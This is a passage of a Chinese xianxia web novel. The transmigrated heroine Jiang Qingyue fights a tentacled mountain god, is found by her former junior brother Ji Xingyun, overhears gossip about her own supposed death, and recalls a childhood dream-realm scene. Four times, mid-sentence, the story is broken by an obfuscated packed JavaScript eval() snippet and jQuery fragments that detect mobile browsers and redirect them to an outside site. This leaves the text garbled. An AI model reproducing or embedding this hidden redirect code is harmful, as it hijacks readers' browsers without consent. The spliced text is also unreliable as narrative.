那仙游宫弟子仿佛这才缓过神来,忙不迭后退几步,避开地上仍在扭动不止的一小节黑色触手。
卫闫硬生生收住剑气,立在原地盯着那根树枝,面色有些凝滞,还未开口便听上方传来一阵愤怒至极的尖啸,随后数十条黑影齐刷刷而下,山神庙里登时响起此起彼伏的惊慌叫喊:“救命!”
那些触手裹挟着黑雾,在半空中乱舞,其中隐隐约约显露出几片黄色或紫色的衣角,他们被触手紧紧包裹,全身上下只露出一个头,面上表情惊恐不已,一时间庙内尖叫怒骂之声不断。可山神似是痛极怒极,触手还在不断收紧,不过短短几瞬,他们的尖叫声便渐渐弱下来,挣扎幅度也在慢慢减小。
更可怕的是,方才那只被江清月砍断的断肢竟是重新长了出来,此刻也张牙舞爪重新向着众人袭来!
江清月反手斩断一条触手,斥道:“还愣着干什么?再不救人他们就死定了!”
被她这一提醒,众人这才中方才的震惊中回过神来,纷纷祭出法器,轮番向其攻击。
江清月此刻灵力不高,对付一只触手还游刃有余,可乍一对上如此庞大的数量,便有些吃力。她一边躲避想要将她卷到上空的黑色触手,一边瞅准时机向上挥出一击,不过一会地上便掉落了一大堆奇形怪状的黑色卷曲物。
众人也纷纷祭出各种灵剑法器,小小一间山神庙中各色灵光闪烁,层出不穷。
很快,随着众人轮番攻击,那几名中招的弟子都被解救下来,只是面色惨白,浑身无力,暂时无法动用灵力。但好歹是保下了一条命。
“静心,调整呼吸,”孟今朝翻出几颗丹药喂进那些中招的天启宗弟子口中,神色凝重,“这魔物有蹊跷,竟能直接透过人体屏障吸取生气,从来未曾见过。待回了宗门,一定要禀告宗主……”
她话音未落,半空中突然传来一声痛苦至极的惨叫。
江清月抹去额上汗珠,定睛看去,那人竟是方才为他们带路的轿夫!
他怎么还没被救下来?
轿夫那张从层层叠叠触手中露出来的脸,已经涨成了猪肝色,五官痛苦地挤在一起,口中不断发出痛苦嘶哑的叫声。
见此,江清月神色一凛,她丢掉手中的树枝,反手从身侧天启宗弟子腰上拔出剑,注入灵力便向触手砍去,但剑光还未接近,便被另一柄灵剑挡下。
江清月怒道:“你们拦我做什么?”
却不想仙游宫众人的声音更加愠怒:“我们还要问你想做什么!你难道看不出来这是个绝佳的好机会吗?”
江清月眯起眼睛:“机会?”
卫闫从众弟子身后走上前来,面上带着笑意:“方才我们便发现了——这魔物断掉的触手虽可再生,但再长出来须得花费一番时间,如若趁此机会一举重击,便可断他至少一半的行动能力,届时我们合力必能将其击败。”
上空,魔物桀桀的怪笑声同那轿夫痛苦的呼救声交织在一起。地面,仙游宫众弟子集体立在她面前,面色不善道:“这轿夫不过是个凡人,没甚作用,让他来做诱饵是最好不过。我劝你不要多管闲事!一人之性命和全部人性命,孰轻孰重,你自己清楚。”
孟今朝以剑撑地站起身来,脸上满是不可置信:“他是个无辜凡人。”
“凡人又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447479|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如何?”卫闫笑道,“魔族骚扰人界已不是一两日,想必有的是壮士英雄想要为民除害,说不定他就是有这样的抱负呢?”
他向前一步,手中灵剑闪着滋滋灵流:“若是他能助我们打败这魔物,到时有的是人会纪念供奉他,说不定他求之不得呢!给我让开!”
话落,一道毫不留情的剑气朝她们劈过来,挡下了她们尝试救人的动作。
经过刚才的一番厮杀,江清月本就不多的灵力已经逐渐告罄,几名天启宗的弟子也是伤的伤、躺的躺,根本无力对抗灵力强盛的仙游宫众人。
卫闫挑眉道:“别这么看我,搞得我好像是什么罪大恶极之人一般,我都是为了大局着想。”
“这人是一定要死的。若你们真不想他死,便自行推出一个人来当诱饵,到时我一样在各大宗门面前褒奖你,谁敢出来?”说罢,他环视周围一圈,轻蔑地笑了,“说到底你们也只是嘴上说说,替别人逞英雄谁不会?若是想要救更多人,就给我都滚开!否则错过了好时机,他也就白死了!到时你们就是罪魁祸首!”
他一番颠倒黑白,自己倒是丝毫不觉有什么说错的地方,反而理直气壮。
闻言,孟今朝看了看身侧面容稚嫩的师弟师妹,深吸一口气,正想前进一步,便见江清月提着那柄长剑向卫闫走去,剑尖划在地上发出刺耳的响声。
卫闫拧了拧眉,却又勾起一边唇角:“真没想到,最后出来的竟是一个散修……”
他话音未落,便被江清月打断,她轻声道:“果然,我还是最讨厌你们仙游宫这套道貌岸然的说辞……所有人,都趴下!”
紧接着,一道炫目剑光轰然炸开,冲天而起,众人一时避之不及,竟是眼前发白失明一瞬,不得不闭上眼睛避过这记灵爆,耳畔回响着尖锐刺耳的嚎叫。
待再睁开眼看去,只见那魔物附在房梁上的身体被剑气轰出一个大洞,淅淅沥沥的腥臭血液从伤口处喷射飞溅,将整个山神庙都染成了一片血色。
孟今朝抹去脸上血液,眼疾手快地丢了一张灵网将那掉落的轿夫接住。他的身体被裹在一层银白的保护壳内,并没有被方才灵爆的巨大冲击力伤到。
江清月没有力气将脸上身上的的血迹抹去,她累极了,顾不得庙里脏乱直接躺在了地上。
系统在脑内大呼小叫:【宿主,透支灵力要不得啊!您的金丹好不容易快成型,现在又碎成渣渣了!】
江清月的声音懒懒的:“那我总不能看别人去送死吧,再怎么说人家也是来帮忙的,把命丢这了算怎么回事?”
系统苦口婆心:【这具身体可跟不上以前的素质啊,您可悠着点吧!身体是革命的本钱,我们还得做任务呢……】
江清月半阖着眼睛听系统叨叨。乍一松下来,她才觉眼皮沉沉,头脑昏昏,眼前一花竟是出现了纪行云那张冷若冰霜的脸……啊,果然出现幻觉了。
而且这幻觉还会开口说话:“……你受了很重的伤。”
这声音仿若玉石相击,清越冷冽,简直跟本人一模一样……看来,她的想象力还是不错的嘛,这种细节都能完善的如此完美。
——不对!
脑中闲情一扫而空,江清月猛地睁开眼,果然又见到了纪行云那张俊美的脸。他此刻正低着头与她对视,眼中有情绪在微微波动——这不是幻觉,就是本人啊!
他怎么找过来的?!
12. 谢长渊
江清月简直要风中凌乱了。
面前是一片狼藉的山神庙,头顶是半死不活只剩一口气的山神,旁边还有个正直直盯着她不放的纪行云……老天啊,纪行云是不是在她身上装定位器了,这也能找到她?就当她去浪迹天涯了不行吗???
她紧紧闭上眼睛,期望自己能立刻昏过去,可偏偏经过一场恶战后头脑兴奋的不得了,若不是纪行云就在面前盯着她,她简直想一掌将自己拍晕过去。
好在,纪行云并未再说什么,只是向她伸出手,似是要拉她起来。
江清月本就心虚,哪里敢搭他的手,十分识相地自己一骨碌爬了起来。
可站起来后,她盯着那只顿在半空中的手掌,不知怎的更心虚了。
好在,没等她尴尬一会,便被另一道惊诧的声音打断:“纪仙师,您认识这散修?”
转头看去,是卫闫。他此刻发冠歪斜,紫色校服上也沾着斑斑点点的腥臭血迹,不复仙气飘飘的模样,很是狼狈。
纪行云颇为自然地收回手:“自然。她是昆仑山派之人。”
他语气平淡,面上也没什么表情,说出来的话却恍若平地惊雷,将众人都炸得一惊。
无他,天下谁人不知纪行云不仅是昆仑山派掌门,更是百年来不世出的天才修者,人人敬仰,想求他一次切磋指导的人早已排到了几百年后,能被他记住面容且亲自来寻的人,岂会是宗门中一个平平无奇的小弟子?必定是昆仑山派的一介峰主或修仙大能!再不济也是某个刚入世还未出名的隐士!
于是,在众人的疯狂脑补下,江清月已经成了一名“不慕名利、心怀天下、神秘莫测”的顶尖修士。
难怪她能面不改色地抽出神魂!
难怪她能将山神一击毙命!
原来如此!!!
孟今朝的眼神更是闪亮非常。她抚摸着自己的剑,看看一脸镇定的江清月,又回头看看满面景仰的众师弟师妹,眼神慢慢坚定起来。
顶着众人莫名狂热起来的眼神,江清月头顶缓缓冒出一个问号——咋的了?
而卫闫在听完回复后却没再开口。他神色几经变换,最终定格在一个分外复杂的表情,像是惊异,又像是……他就带着这样的表情,向江清月一拱手道:“雁仙师。”
这声音里连一丝恭敬都没有,满满皆是咬牙切齿。
江清月自然不会认为,仅凭一个昆仑山派中人的身份便能让卫闫态度转好。
他们宗门从上到下皆是这幅睥睨一切的姿态,卫闫从小在仙游宫长大,自然是将这份高傲学了个十成十,也亏得仙游宫整体实力强盛,否则要被人按着揍多少回?
江清月懒得同他计较这些事,只要最终问题解决了就好。于是对他随意摆摆手,便转身同众人一齐将山神庙内的几十件嫁衣全部收好,带下山还给飞花镇的村民们。
村民们抱着嫁衣,仔细辨认哪一件曾是自己亲手绣好又亲手套到“鬼妻”身上去的,但他们意识到——无论这些带下山的嫁衣里有没有似曾相识的一件,都再也换不回失去的亲人,不由得悲从中来,泪洒长街。
村长也是老泪纵横,不住地感激众人平定了危害飞花镇已久的妖魔,甚至要对他们行叩拜大礼,吓得孟今朝赶忙将其扶住:“老人家您别这样,除魔卫道是我们应该做的!”
江清月也是哭笑不得,偶一扭头却见纪行云正站在不远处,目光沉沉地望向长街上的村民们。
落日余晖落在他身上,像是为他镀了一层金光,瞧起来更是俊美无俦。可不知为何,她却从纪行云的身上看出了一丝浓到化不开的沉郁,明明他就站在光下,却像是身处于无尽黑暗。
待她再仔细看去,方才的那丝异样却又消失不见,唯有一个受人敬仰的纪仙师站在那里。
好不容易打消了村长要给他们磕头谢恩的念头,孟今朝赶忙带着师弟师妹回天启宗疗伤,只来得及同江清月和纪行云道一声“告辞”便匆匆离去。
而仙游宫的弟子们早在下山后便重整着装,恢复了清贵高雅的装扮,此刻也纷纷祭出法器,扬长而去。
转瞬间,长街上便只剩下二人和飞花镇的众村民。
纪行云收回目光,抬手召出灵舟:“走吧。”
坐这玩意儿,一回生二回熟,一上灵舟她便很自觉的找了船尾的位置坐下。
这是她第二次坐纪行云的灵舟,虽然场景有差别,但是她内心的情感却是别无二致,就一个词——紧张。
第一次是紧张自己被发现真实身份,第二次的原因则更为复杂。
可无论她如何抵抗,纪行云的声音还是传入她的耳中:“……我闭关后,发现你不在居舍中。”
那声音里好似带着某种难以名状的情绪,但江清月此刻没时间去分辨,脑袋里全是——果然,抓到人的第一件事就是兴师问罪!
昆仑山派无聊又无趣,想下山是人之常情好不好,也就只有像纪行云这样无聊的小古板才会一直待在宗门修炼,她只是犯了每个弟子都会犯的错,况且她是真的有任务等着完成……等等,不会真是因为她私自下山才找过来的吧?
那就非常恐怖了!比纪行云关心她这个假设还要恐怖一千倍,一万倍!
戒律堂里是一群酷爱钻研各种刑罚却硬要说成管教弟子的变态啊!
回想起在戒律堂的峥嵘岁月,她内心狂喊不止,面上却装的很是恭敬,开始瞎编:“弟子当日发现纪仙师闭关,本意是想为仙师护法,但实在是心系受难的人界,便擅自下了山,还请仙师责罚。”
纪行云不是好糊弄的,这件事情她百年前就知道。
况且自己如今只能算是个被半路捡来的弟子,同他的情谊还不如上一世深厚。方才这番说辞错漏百出,稍微一细想便能发现其中的漏洞,可话已出口,现如今只能期望他不要太认真。
说完,她抓心挠肝等了半晌,等来了一声简短的应答:“好。”
啊,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447480|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么简单?放过她啦?
江清月瞪大眼睛——她还以为会经受一番拷问,没想到这么快竟然就过关了?
看来一百年后的纪行云要比之前的他好说话很多啊!
……
回到昆仑山派后,果真如纪行云答应的那样,她这次私自下山,不仅没有被戒律堂长老惩罚,反而还获得了来自纪仙师亲自规划并监督的修习方案。
——然而她并不想要。
作为万仞峰弟子,从他们的力气足够可以拿得起剑时,便要每人每天挥剑三千下。
这是个苦差事。江清月从小便对此深恶痛绝,没想到重来一世,竟还是要从挥剑做起。
她心如死灰。
感觉自己就是一个无情的挥剑机器。
但此举既然能一直在昆仑山派万仞峰流传至今,必然是有它的优点。
江清月练了四五天,感觉自己的身体都强健了不少。
况且,此举竟然还有改善睡眠质量的功效。这几日她躺在自己的木床上入睡,却总感觉是躺在一处微凉舒适的软床上,况且睡一觉,灵力便蹭蹭往上涨,甚至就连强行透支灵力所损伤的经脉,都已经修复的完好如初。
她前世练剑的时候,怎么没发现还有如此功效?
江清月出神地想——难不成是因为雁秋心的身体比较天赋异禀?
待再回过神来,她面前忽然多了一张放大的脸,吓得她差点直接把手上的剑招呼过去。
那人急忙后退,举起双手讨饶道:“嘿,你这人小心点呀,若是砍到我可怎么办?”
江清月将剑收回鞘中,拧眉看向来人:“你是何人?吓我做什么?”
“我本是来给掌门师弟送传书的,等了半天他不理我,我只好自己进来了。哪曾想一进门,却看到你这么个小美人儿在这里练剑?看你这剑法……应是刚过筑基期没多久吧。”那人嘻嘻笑道,“我也被你吓了一跳呢,从来没在掌门的院子里看到过人,你是谁?他新收的小弟子?这个小古板竟然也开窍了?真是稀奇稀奇呀!”
他摊摊手,嘴上花花绕绕说的很无辜,但其中的称谓却让江清月的注意力集中在上面——“掌门师弟?”
她记得百年前师尊一共收了四个徒弟,纪行云是最小的那个,这个人既然称呼纪行云为师弟,那必然就是谢长渊了。
她将来人上下打量一番,了然——果然就是她的二师弟。
方才情况太急没看清楚,眼下一瞧这五颜六色的衣服、轻浮多情的桃花眼、从不离手的折扇……除了谢长渊还能是谁?全宗门上下就他一个人这样穿!
谢长渊忽的捂住自己,故作娇羞道:“你的眼神好大胆……虽然你长得很好看,但是我也不是个这么轻浮随意的人,若你不是真的喜欢我,我是不会当你的男宠的。”
江清月:“……”
这下更确定了。就是他这个骚包男。
怎么一百年过去连口头禅都不变啊?
13. 动情不自知
顶着江清月无语的目光,谢长渊颇为自得地一撩头发,对她抛了个媚眼:“如果你真的对本公子一见倾心芳心暗许,我也不是不可以为你开个先例……唔,不如就从每天送我一束花开始?”
说着,他笑嘻嘻地伸出手来,眼睛笑得眯成一道缝。
可他等了半晌,不仅没等到鲜花,反而听到了拔剑的声音,忙后撤几步,一展折扇将自己小半张脸遮住,只露出一双瞪大的桃花眼。
谢长渊大惊失色:“真是粗鲁!你竟舍得对我这张风流倜傥的俊脸动手?再怎么说我也是修仙界榜上有名的美男子,你没有被我的脸迷倒也就算了,竟然还想对我出手??哎哎哎,离远点离远点!”
江清月颇为欣慰。她方才默念了半天清心诀都无济于事,一出剑便叫谢长渊闭上了“叭叭”个不停的嘴,看来还是武力比较管用。
就在这时,门口处传来“吱嘎”一声响,随后一角青色衣袍进入二人视野,正是纪行云。
谢长渊一点身为长辈的风范都没有,扭头就告状:“师弟,瞧瞧你的人,竟连师伯都敢打,还有没有天理了?”
但在场三人都习惯了,甚至江清月由于过于熟知他的套路,早在纪行云进门的那一刻便将剑重新收了起来,主打一个不承认。
闻言,纪行云看向江清月:“你打他了么?”
江清月坚定摇头。
纪行云点头,又转而看向谢长渊,淡声道:“她说她没有。”
谢长渊目瞪口呆,眼神在他们两个之间转悠:“你们俩合起伙来欺负人啊?不是,我才是受害者你问她做什么?我也是昆仑山派的一份子!究竟还有没有天理了?!”
纪行云仍是面容沉静,他并未接话,只是道:“你来万仞峰,所为何事?”
谢长渊一边叫着“别想转移话题”,一边将带过来的文书放在桌子上,难得正色道:“此事就发生在昆仑山派脚下,永嘉地界……”
见二人开始商量正事,大概有一会顾不上她,江清月立刻将剑一丢——太好了,不练了,她要去找人聊天放松吃零食!这些天一直被拘在万仞峰,可真是憋死她了!
待她哼着歌迈出了门,才发现自己忘了带答应给“共享零食革命小分组”的仙果,连忙转身回去拿,但她刚扶上门框,便听里面传来谢长渊哀怨的声音——“掌门师弟,不是师兄说你,瞧你偏心的那样,你怎么能有了新弟子就忘了把你拉扯大的师兄呢?”
纪行云冷静道:“当时你忙着到处弹琴吟诗,一月才回一次宗门。”
门内登时沉默一瞬,谢长渊尴尬一笑,咦道:“哈哈师弟你还记得呢?本以为你那时年纪小不记事,还想骗骗你来着。”
里面没有任何回应,但江清月猜测,他大概是冷淡地摇了两下头,表示自己没忘。
她想象着纪行云的模样,跟着摸了摸自己的脸,竟是发现脸上挂着丝自己都未察觉到的笑意,赶紧拍了拍脸,将笑意拍散。
门内的声音接着传来,又是谢长渊。他脸皮奇厚,也不气馁,接着道:“不过这样也好,斯人已逝不可重来,你便是一直沉浸在过去,也挽回不了任何东西,一百年前的事情就让它这么过去吧……”
但话说到一半,他话音一顿,忽然骂道:“你们俩还真是一脉相承啊,君子动口不动手知不知道?把剑给我收回去!!!”
门内是压低声音的笑骂,江清月立在门外,面上却是一片空白。
死遁后,这是她第一次在亲近之人的口中听到关于她的事。
斯人已逝不可重来……对啊,她在大众的眼中早已经死了一百年,况且那样的死法,就算想诈尸都找不到尸体。
这事实又一次被铺开摊在她面前,江清月本该已经适应,却仍是有些意外的茫然——在众人看来,“江清月”与“雁秋心”应是毫不相干的两个人,任谁也不会将二人联系在一起。
那么……
纪行云偏心的对象,到底是谁呢?
仔细想想,自她再次拜入昆仑山派以来,这一世的纪行云对她几乎是有求必应,几乎到了百依百顺的程度。
这一世,她还能感受到纪行云的善意,大概只是因为他还不知她的真实身份。
可是……可是明明不管是哪一世,纪行云释放善意的对象都是她,她心里却有一丝不是滋味,像是被小虫子密密地啃咬,从内而外泛出一种难言的酸涩。
但此时直接闯进去问个明白,又不是合适之举。不只是不知该如何开口的问题,更是因为不知以什么身份去问。
思索半晌,她只好先去约定的地点找“共享零食革命小分组”的成员,期望能靠着八卦闲聊将这丝异样的情绪压下掩盖。
“今天怎么来晚啦?快快快,快坐下,若是被人发现可就完蛋了!”
江清月被其他几名弟子拉着坐下,转瞬间手里就多了一袋五香味的瓜子。这里是一处废弃的弟子舍,地处偏僻,人流量少,因没甚大用,这么多年一直便拖着没修葺,于是成了昆仑山派众弟子最爱来放松的地方。
早在她来之前,众人便已经津津有味地聊过了宗门中的几大密辛,例如“灵草峰的桃林下面是埋着金银财宝还是弟子身体碎片?为何魏仙师不许人接近?”等等一系列劲爆热门的话题,现如今正是热情高涨时。
一人咬了一大口灵果,含糊道:“你们知不知道——戒律堂新出了一本书,是各位长老联合编写的,好像叫什么《规劝弟子改邪归正的三千条戒规(新修版)》?”
众人皆大惊:“哇,一群施虐狂!”
“三千条?全部用下来还能维持人形吗?”
“用不着那么多,第一条我就招了!”
江清月也是目瞪口呆。她记得一百年前,这本书中的戒规好像还只有三百条,怎么现在直接在后面加了个零,这合理吗?
众人皆是一阵胆颤,忙啃了点瓜子灵果压压惊。
“聊这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447481|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个真是让人食欲全无,看我给你们来点劲爆的!”其中一人示意他们凑近些,神神秘秘道,“……我在其他地方有些人脉,是颍川那片传过来的消息。”
江清月听到熟悉的地名,心头一跳,有丝不好的预感。
那名弟子也不卖关子,痛快道:“他们说,江清月好像夺舍重生了。”
众人整齐划一地吸了一大口气:“什么——?!”
江清月眼前一黑。
那名弟子接着道:“很震惊吧?我听到消息的时候也快要吓昏过去了。真是天下之大,无奇不有,竟真的有夺舍重生的邪恶方法,偏偏还真被她找到了!”
“你这消息保真吗?”
“那肯定!有人亲眼所见,还能有假?”
她实在没想到,关于自己的话题竟是如此热门,不过短短几天,便已经从颍川地界传到了永嘉,那再过几天岂不是全天下都知道她夺舍重生回来的事了?
不对不对,她没夺舍!!!
江清月颇为头疼地摸摸眉尾,决定将他们的讨论及时扼杀在幼苗时:“我们还是换一个话题吧?宗主不是不让聊这个吗?”
——宗主都搬出来了,总该乖乖住嘴了吧?
却不想,她这一开口,却是给众人提供了新的思路。一人摸着下巴,皱眉思索:“哎,你们说宗主总是不让我们在门派提这件事,是为什么呢?我瞧他老是冷冰冰的,也不像是能为妖女说话的样子啊?”
有弟子语出惊人:“据说当年仙魔大战时,是宗主亲手将其打落悬崖,好像还做了很多场法事搜寻江清月的神魂,就怕有遗漏的、没杀干净的!你们说……会不会是宗主实在厌恶她,不想在宗门内听到妖女的名号,才如此命令我们的?”
另一人忙去捂他的嘴:“慎言慎言,你想去戒律堂,我可不想。吃还堵不上你的嘴。”
那弟子讪讪道:“只是乱猜嘛……你前几日不是还说千机峰主谢仙师领回来的新徒弟是他私生女吗?”
“嘿呦,我这暴脾气!”
“哎呀,别打脸别打脸……”
几人闹成一团,江清月却是沉默。
自上次误入纪行云的梦境,江清月的心里便一直不安宁。就算隔了一百年,他竟还能将当日发生的一切记得那么清楚,特别是她说的冷言冷语,简直像是一百年来每晚都重新经历一遍那般,想必是厌恶她到极点了。
她不明白自己上一世做的一切对不对、不知该如何挽回解释、不知该如何面对她往日的师弟,如今的仇敌,只好远远地躲开。
可是,她没想到他竟是对此抱有如此大的……恨意?
甚至……可能连这传遍三界的妖女名号,也是他主持散播出去的。
身旁围坐的小弟子们还在叽叽喳喳地打闹,江清月却一点也听不进耳,只觉得心里某处有些发苦——纪行云你这个小没良心的,之前怎么不知道你这么记仇?
真是白养你那么多年了。
14. 梦境之地
江清月在穿过来之前,也算是个家里小有资产的富二代大小姐,没想到一朝穿越后,竟是干起了养孩子的活。
无他,她们的师尊实在不靠谱,基本上是每年一次闭关,一次闭关一年。自江清月拜入万仞峰门下,见她师尊的次数一只手都数的出来。
第一面,是捡她回万仞峰当大师姐。
第二面,是捡谢长渊回来。
第三面,是捡魏音尘回来。
而最后一面,则是捡回了纪行云这个小师弟。
随后,他老人家大手一挥,宣布内门弟子名额已满,他要开始闭关修炼,闲杂人等不得无故打扰。
彼时,江清月已经当了几年的大师姐,对接待新弟子的流程轻车熟路。
她挑起一抹恰到好处的笑容,看着刚到她肩膀的小豆丁,摸了摸他柔顺的头顶,递给他一枚玉佩,温柔道:“你好呀,收下这枚玉佩,从今以后你就是万仞峰的弟子,我就是你的大师姐了。”
而纪行云从小就沉默寡言,甚至可以说是孤僻。面对江清月的笑意,他只是轻轻地点了两下头,没笑也没哭。
系统愁得慌:【等了这么多年,好不容易等到师尊把他捡回来,不会是个小哑巴吧?】
江清月大手一挥:“你见过哪家主角是哑巴的?不就是不爱说话吗?不影响我完成任务!”
系统也斗志昂扬:【好!宿主最棒!加油!】
于是,她就过上了修仙打怪养孩子的生活,日子过得平凡又宁静,直到一天晚上——
“天杀的,这是给我传到哪儿来了?”
江清月身上穿着一袭白色中衣,怀里抱着一只圆形抱枕,迷迷瞪瞪地站在原地,感觉自己的瞌睡都要被吓没了。
“系统?系统???”
她今日明明是正常入睡,一睁眼看到的不是熟悉的床帐,而是一片纯白、无边际的空间。
这地方陌生的紧,四周都是白雾,让人看不清具体情况。可偏偏无时无刻都存在于她脑海中的系统还不见了踪迹,让她想求救也无法。
江清月在原地等了半晌,也不见白雾中冲出什么妖魔鬼怪,不由将高高提起的心暂时放回了肚子里,但她仍没有放松警惕,手中紧紧抓着抱枕充当武器,一步一步小心地向前走去。
不知是不是她运气太好,随便选了一个方向,倒还真让她对走了。
不过行了数十步,眼前浓重的白雾便消散了些,隐约露出一个背对着她、低着头的身影,看不清面容。
江清月抓紧抱枕,眼中闪出一丝光芒——果然,还是出现了!妖魔,束手就擒吧!
她大喝一声,手中抱枕“啪”的一下打在了那妖魔的头上,一击将其击倒在地,连声哀嚎都没发出。
江清月美滋滋地想,待她从这幻境中出去,一定要向各位师弟师妹们好好宣传一番,她可是仅靠一个抱枕就将妖魔打倒在地了!
可还没等她高兴一会儿,抱枕下就传出一个分外熟悉的声音:“……大师姐,是我……”
他们师门一共就四个人,这声音化成灰她都能认出来——不是纪行云还能是谁?
“师弟?!”江清月大惊失色,忙将捂着脑袋的纪行云扶起来,“你怎么也在这儿?你什么时候进来的?怎么就我们俩在这儿呢?他们两个呢?不会也遇到什么危险了吧?”
纪行云睁眼看到她的着装,复又闭上了眼睛低下了头,缓缓摇了摇头:“不知道,我一睡醒就在这儿了。”
江清月来回踱着步,眉头皱起:“这就怪了。”
总不能是其他峰有人半夜练阵,不小心把他们拉进来了吧?大半夜不睡觉练什么阵啊?小心她明天去找人算账!
这两年,经过她孜孜不倦的教诲,纪行云已经褪去了刚入宗门时的孤僻寡言模样,只是还不习惯于与人谈天闲聊,平常很少参与师门的插科打诨。所以,江清月只是自言自语,并没有打算拉着纪行云一起探讨。
没想到,纪行云捂着头想了会,竟是主动开口道:“大师姐,你有听到一个声音吗?我感觉这里一直有一个声音在呼唤我。”
嗯?这是什么小说主角发言啊?你以为随随便便就会有闲到蛋疼的上古仙人哭着喊着要当你的人生导师吗?
——等等,好像还真有。
经他这一提醒,江清月才想起来系统对她讲过的一大堆男主设定——什么天赋极高随便一学就吊打天下人啦、什么貌若潘安一出场就引得无数人自惭形秽啦、什么血统高贵到爹娘都是上古神魔啦……等等一系列让人看到就忍不住嘴角疯狂抽搐的东西。
而其中,好像还真的有一条提到过——纪行云会在他14岁这年,开启人生外挂“梦境之地”,并在其中遇到人生导师,从此走上飞黄腾达、一统天下的康庄大道。
江清月穿越前看的小说不多,原本听系统说的如此夸张,还以为它是在开玩笑,原来是真的?!
于是,本着好奇的精神,江清月问道:“那声音对你说什么了?”
纪行云向来没甚表情的脸上出现一丝茫然:“他说,让我想象一个带着黑色兜帽,手持镰刀,浑身骷髅……唔?”
江清月眼疾手快,一把捂住他的嘴,在他茫然的眼神里快速开口道:“这人的要求你复述完了吗?”
纪行云摇头。
江清月吐出一口气,接着道:“你方才说的时候想象了吗?”
纪行云又摇头。
江清月这才狠狠地松了一口气——老天爷呀!这玩意哪里是什么人生导师,明明就是西边那旮沓的死神嘛!简直一模一样!一看就不是个好东西!
她组织了一番语言,斟酌着开口道:“师弟,你有没有想过这里是你的梦呢?你在心里想象什么,这里就会出现什么……要不你想象一串糖葫芦试试?就是那种红红的、圆圆的,咬一口还甜甜的……快试试。”
纪行云顺着她的话思考片刻,随后放松头脑,跟着她的声音去想象。
下一瞬,一串裹满糖丝的糖葫芦就出现在二人中间的空地上,还很贴心地放在白瓷盘中,一点灰都没沾染到。
江清月眼睛一亮——果然,和她想的一样!这梦境之地果然是随纪行云的心意而动!
看来,方才一直呼唤纪行云的声音,就是那个神似镰刀死神的东西发出来的,而目的就是借此寄生在他的梦境中,充当他背后的导师。
她恋恋不舍地将眼神从糖葫芦上撕下来,正色道:“那个黑衣服的人还在呼唤你吗?”
“嗯,很激烈,很生气。”他顿了一顿,“不过现在没有了。”
没有了?难不成是放弃这个念头了?
纪行云眼神很沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447482|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静,接着道:“我在脑海中想希望他消失,于是他就不见了。”
噗,纪行云绷着一张小脸说这话,怎么有种莫名其妙的喜感?
话说这种卡bug是可以的吗?
江清月差点破功,狠狠揉了揉抱枕才勉强止住笑意:“他看起来就不像好人,消失了也好。”
纪行云抬起眼睛看她:“大师姐,什么是坏人?什么是好人呢?”
江清月被他扑闪扑闪的大眼睛看得心里痒痒的,只好又捏了捏抱枕解馋。她思索片刻,特别简单粗暴道:“嗯……像他那样穿暗黑系衣服的,眼神阴险的,就不是好人。”
纪行云乖乖点头。
那乖巧的小模样差点把她的心都萌化了——不愧是男主,貌若潘安不是吹的,还没长开就已经看出是个帅哥胚子!
后面,二人凑在一处研究一番,终于是解开了梦境之地的束缚,重新回到了自己的房间。
江清月在床上滚了两圈,从没觉得自己的木床如此舒适,不过一会便重新睡了过去,将梦境之事抛到了脑后。
可没想到的是,仅仅过了一天,他们便又在梦境之地相遇了。
看着熟悉的白雾,再看看自己身上熟悉的白色中衣,江清月只有一句话想说——“天杀的,想睡个安稳觉怎么就这么难?!”
但嚎完,她还是得去找纪行云。因为这里是以他的精神之力搭建起来的场地,一切都围绕他的意志行动,若没有他的指令,其余人便是耗尽全身灵力都无法出梦,一辈子都会被困在这里。
系统表示——金手指就是这么不讲道理。
好在,她没花费什么力气就找到了纪行云。
此刻,纪行云身边不再是昨日的的一片虚无空白,而是堆放了几本厚厚的书籍。他膝上摊开着一本,还有几本折了角的放在左边,看样子是已经看完的。
